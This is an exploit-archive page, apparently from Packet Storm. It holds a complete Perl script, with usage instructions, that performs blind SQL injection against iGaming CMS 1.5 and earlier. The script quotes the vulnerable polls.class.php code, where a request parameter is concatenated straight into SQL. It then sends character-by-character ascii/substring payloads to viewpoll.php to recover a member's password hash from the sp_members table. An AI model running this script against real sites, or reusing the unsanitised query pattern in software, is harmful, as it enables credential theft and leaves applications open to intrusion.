exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

iGaming CMS 1.5 Blind SQL Injection

iGaming CMS 1.5 Blind SQL Injection
Posted Oct 1, 2010
Authored by plucky

iGaming CMS versions 1.5 and below remote blind SQL injection exploit.

tags | exploit, remote, sql injection
SHA-256 | 1b00329d1f8ee25a03cfcafc13ec8425e486f1d1deecb13f3ef36b5e91f00f49

iGaming CMS 1.5 Blind SQL Injection

Change Mirror Download
#!/usr/bin/env perl

=pod
iGaming CMS <= 1.5 Blind SQL Injection

Author: plucky
Email: io.plucky@gmail.com
Web Site: http://plucky.heliohost.org
Crew : WarWolfZ

Usage: perl exploit.pl <website> <user_id>
Example: perl exploit.pl http://website.net/iGamingCMS1.5/ 1

Vulnerability: polls.class.php
[line 10-17]

if (!empty($_REQUEST['id']))
{
$poll = $db->Execute("
SELECT id,title
FROM `sp_polls`
WHERE `id` = '" . $_REQUEST['id'] . "'");

$result = $db->Execute("SELECT * FROM sp_polls_options WHERE poll_id = '$_REQUEST[id]' ORDER BY id");

THX TO: shrod and warwolfz crew
=cut

use strict;
use warnings;
use LWP::Simple;

my $password = '';
my $vulnerable_page = '';

my $target_id = 1;

sub header_exploit {

print 'iGaming CMS <= 1.5 Blind SQL Injection' . "\n".
'-----------------------------------------' . "\n".
'Author: plucky' . "\n".
'Email: io.plucky@gmail.com' . "\n".
'-----------------------------------------' . "\n".
'[!]Target id: '.$target_id . "\n".
'[!]Exploit Status: Working...' . "\n";
}

sub usage_exploit {

print 'Usage:' . "\n".
' perl exploit.pl http://[site]/[path]/ [id]' . "\n".
'Examples:' . "\n".
' perl' . $0 . 'http://web_site/cms/ 1' . "\n".
' perl' . $0 . 'http://games_site/iGamingCMS1.5/ 1' . "\n";

exit;
}

sub run_exploit {

my $parameter_id = shift;
my $parameter_page = shift;

my $target_id = $$parameter_id;
my $vulnerable_page = $$parameter_page;

my $character_id = 1;

my $HTML_source = '';
my $SQL_Injection = '';
my $hexadecimal_character = '';
my $result = '';
my $table = 'sp_members';

my @hexadecimal_characters = ( 48..57, 97..102 );


foreach $character_id ( 1..32 ) {

character_research:
foreach $hexadecimal_character ( @hexadecimal_characters ) {

$SQL_Injection = "viewpoll.php?id=' or ascii(substring((select pass from $table where id=$target_id),$character_id,1))=$hexadecimal_character\%23";
$HTML_source = get( $vulnerable_page.$SQL_Injection );

if ( $HTML_source !~ /Error/i ) {

$result .= chr($hexadecimal_character);
$character_id++;

last character_research;
}
}
}

return $result;
}

$vulnerable_page = $ARGV[0] || usage_exploit;
$target_id = $ARGV[1] || usage_exploit;

header_exploit;
$password = run_exploit ( \$target_id, \$vulnerable_page );

print '[!]Password: ', $password, "\n";

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    53 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close